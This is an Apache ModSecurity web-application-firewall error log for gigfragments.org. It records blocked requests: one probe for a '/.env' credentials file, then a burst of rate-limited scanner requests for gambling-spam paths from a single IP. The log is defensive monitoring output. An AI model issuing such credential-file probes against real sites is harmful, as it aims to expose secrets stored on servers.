[Sun May 17 13:03:23.694435 2026] [:error] [pid 59060:tid 59072] [client 192.96.159.129:64108] [client 192.96.159.129] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aglMG_vwvq3bndkPE4ndJQAAAAM"]
[Sun May 17 14:24:44.269753 2026] [:error] [pid 17234:tid 17250] [client 51.77.216.81:59486] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/888%20slot.aspx"] [unique_id "aglfLNJ4QOrYRCeDR2hDEgAAAU4"]
[Sun May 17 14:24:44.819174 2026] [:error] [pid 59062:tid 59140] [client 51.77.216.81:59490] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/789%20slot.aspx"] [unique_id "aglfLD4V9GkVWmCFmGbo5AAAAJE"]
[Sun May 17 14:24:46.068761 2026] [:error] [pid 10834:tid 10856] [client 51.77.216.81:46902] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/all%20slot.aspx"] [unique_id "aglfLhISNQ_Nf83-VpqLMAAAAco"]
[Sun May 17 14:24:46.650177 2026] [:error] [pid 59062:tid 59138] [client 51.77.216.81:46918] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/888%20slot.aspx"] [unique_id "aglfLj4V9GkVWmCFmGbo6gAAAI8"]
[Sun May 17 14:24:48.104002 2026] [:error] [pid 10835:tid 10892] [client 51.77.216.81:46928] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/allslot%20wallet.aspx"] [unique_id "aglfMEk8lW0-dtknLl_5xAAAAhM"]
[Sun May 17 14:24:48.686702 2026] [:error] [pid 59061:tid 59104] [client 51.77.216.81:46934] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/all%20slot.aspx"] [unique_id "aglfMIYS410zAmsYkoIXJQAAAEg"]
[Sun May 17 14:24:50.180042 2026] [:error] [pid 59166:tid 59170] [client 51.77.216.81:59910] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amb%20superslot.aspx"] [unique_id "aglfMk_puQ1I47_0UrjeEQAAAMI"]
[Sun May 17 14:24:50.803849 2026] [:error] [pid 59061:tid 59120] [client 51.77.216.81:59918] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/allslot%20wallet.aspx"] [unique_id "aglfMoYS410zAmsYkoIXJgAAAFg"]
[Sun May 17 14:24:52.069952 2026] [:error] [pid 10835:tid 10893] [client 51.77.216.81:59930] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aglfNEk8lW0-dtknLl_5xwAAAhQ"]
[Sun May 17 14:24:52.975484 2026] [:error] [pid 59062:tid 59136] [client 51.77.216.81:59932] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amb%20superslot.aspx"] [unique_id "aglfND4V9GkVWmCFmGbo7AAAAI0"]
[Sun May 17 14:24:54.110949 2026] [:error] [pid 10834:tid 10870] [client 51.77.216.81:59942] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aglfNhISNQ_Nf83-VpqLNQAAAdg"]
[Sun May 17 14:24:54.920346 2026] [:error] [pid 59060:tid 59092] [client 51.77.216.81:59946] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aglfNvvwvq3bndkPE4nf_QAAABc"]
[Sun May 17 14:24:55.916814 2026] [:error] [pid 59062:tid 59130] [client 51.77.216.81:59956] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aglfNz4V9GkVWmCFmGbo7wAAAIc"]
[Sun May 17 14:24:56.919276 2026] [:error] [pid 59166:tid 59192] [client 51.77.216.81:59964] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aglfOE_puQ1I47_0UrjeEgAAANg"]
[Sun May 17 14:24:57.810499 2026] [:error] [pid 59060:tid 59073] [client 51.77.216.81:59972] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aglfOfvwvq3bndkPE4nf_gAAAAQ"]
[Sun May 17 14:24:58.950639 2026] [:error] [pid 59061:tid 59098] [client 51.77.216.81:59976] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aglfOoYS410zAmsYkoIXKAAAAEI"]
[Sun May 17 14:24:59.760565 2026] [:error] [pid 59060:tid 59085] [client 51.77.216.81:53774] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aglfO_vwvq3bndkPE4nf_wAAABA"]
[Sun May 17 14:25:00.939476 2026] [:error] [pid 17234:tid 17256] [client 51.77.216.81:53786] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aglfPNJ4QOrYRCeDR2hDJQAAAVQ"]
[Sun May 17 14:25:01.683277 2026] [:error] [pid 10784:tid 10802] [client 51.77.216.81:53802] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aglfPWBWRlKsFkSZGxAwCgAAAYM"]
[Sun May 17 14:25:02.804440 2026] [:error] [pid 17234:tid 17243] [client 51.77.216.81:53814] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aglfPtJ4QOrYRCeDR2hDKgAAAUc"]
[Sun May 17 14:25:03.710633 2026] [:error] [pid 59062:tid 59141] [client 51.77.216.81:53820] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aglfPz4V9GkVWmCFmGbo8gAAAJI"]
[Sun May 17 14:25:04.758801 2026] [:error] [pid 17234:tid 17237] [client 51.77.216.81:53836] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aglfQNJ4QOrYRCeDR2hDLQAAAUE"]
[Sun May 17 14:25:05.783134 2026] [:error] [pid 11079:tid 11115] [client 51.77.216.81:53846] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aglfQWeR3-DrxhvUqxGqBAAAAks"]
[Sun May 17 14:25:06.676013 2026] [:error] [pid 10784:tid 10806] [client 51.77.216.81:53860] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aglfQmBWRlKsFkSZGxAwDAAAAYc"]
[Sun May 17 14:25:07.694825 2026] [:error] [pid 59166:tid 59168] [client 51.77.216.81:53868] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aglfQ0_puQ1I47_0UrjeFAAAAMA"]
[Sun May 17 14:25:08.798587 2026] [:error] [pid 11079:tid 11105] [client 51.77.216.81:53884] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aglfRGeR3-DrxhvUqxGqCQAAAkU"]
[Sun May 17 14:25:09.518506 2026] [:error] [pid 10784:tid 10799] [client 51.77.216.81:41140] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aglfRWBWRlKsFkSZGxAwDgAAAYA"]
[Sun May 17 14:25:10.562974 2026] [:error] [pid 11079:tid 11114] [client 51.77.216.81:41148] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aglfRmeR3-DrxhvUqxGqDAAAAko"]
[Sun May 17 14:25:11.288202 2026] [:error] [pid 59060:tid 59090] [client 51.77.216.81:41152] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aglfR_vwvq3bndkPE4ngAQAAABU"]
[Sun May 17 14:25:12.627582 2026] [:error] [pid 10835:tid 10889] [client 51.77.216.81:41166] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aglfSEk8lW0-dtknLl_5zgAAAhA"]
[Sun May 17 14:25:13.176394 2026] [:error] [pid 36652:tid 36655] [client 51.77.216.81:41182] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aglfSTZrzQadnZADvj9MnQAAAQE"]
[Sun May 17 14:25:14.680046 2026] [:error] [pid 17234:tid 17258] [client 51.77.216.81:41194] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aglfStJ4QOrYRCeDR2hDNQAAAVY"]
[Sun May 17 14:25:15.109270 2026] [:error] [pid 36652:tid 36677] [client 51.77.216.81:41200] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aglfSzZrzQadnZADvj9MngAAARc"]
[Sun May 17 14:25:16.694529 2026] [:error] [pid 10835:tid 10873] [client 51.77.216.81:41204] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aglfTEk8lW0-dtknLl_50QAAAgA"]
[Sun May 17 14:25:17.151577 2026] [:error] [pid 59062:tid 59139] [client 51.77.216.81:41208] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aglfTT4V9GkVWmCFmGbo9wAAAJA"]
[Sun May 17 14:25:18.457353 2026] [:error] [pid 10835:tid 10893] [client 51.77.216.81:41214] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aglfTkk8lW0-dtknLl_50wAAAhQ"]
[Sun May 17 14:25:19.017160 2026] [:error] [pid 10835:tid 10879] [client 51.77.216.81:41226] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aglfT0k8lW0-dtknLl_51AAAAgY"]
[Sun May 17 14:25:20.499298 2026] [:error] [pid 59061:tid 59105] [client 51.77.216.81:53926] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aglfUIYS410zAmsYkoIXKgAAAEk"]
[Sun May 17 14:25:21.079265 2026] [:error] [pid 10784:tid 10809] [client 51.77.216.81:53940] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aglfUWBWRlKsFkSZGxAwEgAAAYo"]
[Sun May 17 14:25:22.558641 2026] [:error] [pid 59061:tid 59108] [client 51.77.216.81:53954] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aglfUoYS410zAmsYkoIXKwAAAEw"]
[Sun May 17 14:25:23.116973 2026] [:error] [pid 11079:tid 11113] [client 51.77.216.81:53964] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aglfU2eR3-DrxhvUqxGqDgAAAkk"]
[Sun May 17 14:25:24.397810 2026] [:error] [pid 59062:tid 59134] [client 51.77.216.81:53974] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aglfVD4V9GkVWmCFmGbo-wAAAIs"]
[Sun May 17 14:25:25.013895 2026] [:error] [pid 11079:tid 11106] [client 51.77.216.81:53978] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aglfVWeR3-DrxhvUqxGqEgAAAkY"]
[Sun May 17 14:25:26.500477 2026] [:error] [pid 59060:tid 59069] [client 51.77.216.81:53982] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aglfVvvwvq3bndkPE4ngCAAAAAA"]
[Sun May 17 14:25:27.045609 2026] [:error] [pid 10834:tid 10855] [client 51.77.216.81:53994] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aglfVxISNQ_Nf83-VpqLQAAAAck"]
[Sun May 17 14:25:28.282943 2026] [:error] [pid 36652:tid 36667] [client 51.77.216.81:53996] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aglfWDZrzQadnZADvj9MowAAAQ0"]
[Sun May 17 14:25:28.996319 2026] [:error] [pid 59060:tid 59079] [client 51.77.216.81:53998] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aglfWPvwvq3bndkPE4ngCgAAAAo"]
[Sun May 17 14:25:30.179319 2026] [:error] [pid 59062:tid 59145] [client 51.77.216.81:33934] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aglfWj4V9GkVWmCFmGbo_gAAAJY"]
[Sun May 17 14:25:31.183509 2026] [:error] [pid 59062:tid 59132] [client 51.77.216.81:33948] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aglfWz4V9GkVWmCFmGbpAQAAAIk"]
[Sun May 17 14:25:32.262717 2026] [:error] [pid 10835:tid 10894] [client 51.77.216.81:33954] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aglfXEk8lW0-dtknLl_51wAAAhU"]
[Sun May 17 14:25:33.102399 2026] [:error] [pid 11079:tid 11105] [client 51.77.216.81:33968] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aglfXWeR3-DrxhvUqxGqFAAAAkU"]
[Sun May 17 14:25:34.367171 2026] [:error] [pid 59062:tid 59141] [client 51.77.216.81:33976] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aglfXj4V9GkVWmCFmGbpAgAAAJI"]
[Sun May 17 14:25:35.778372 2026] [:error] [pid 10834:tid 10852] [client 51.77.216.81:33984] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aglfXxISNQ_Nf83-VpqLQwAAAcY"]
[Sun May 17 14:25:36.623978 2026] [:error] [pid 10784:tid 10802] [client 51.77.216.81:34000] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aglfYGBWRlKsFkSZGxAwFwAAAYM"]
[Sun May 17 14:25:37.951911 2026] [:error] [pid 59062:tid 59133] [client 51.77.216.81:34006] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aglfYT4V9GkVWmCFmGbpBgAAAIo"]
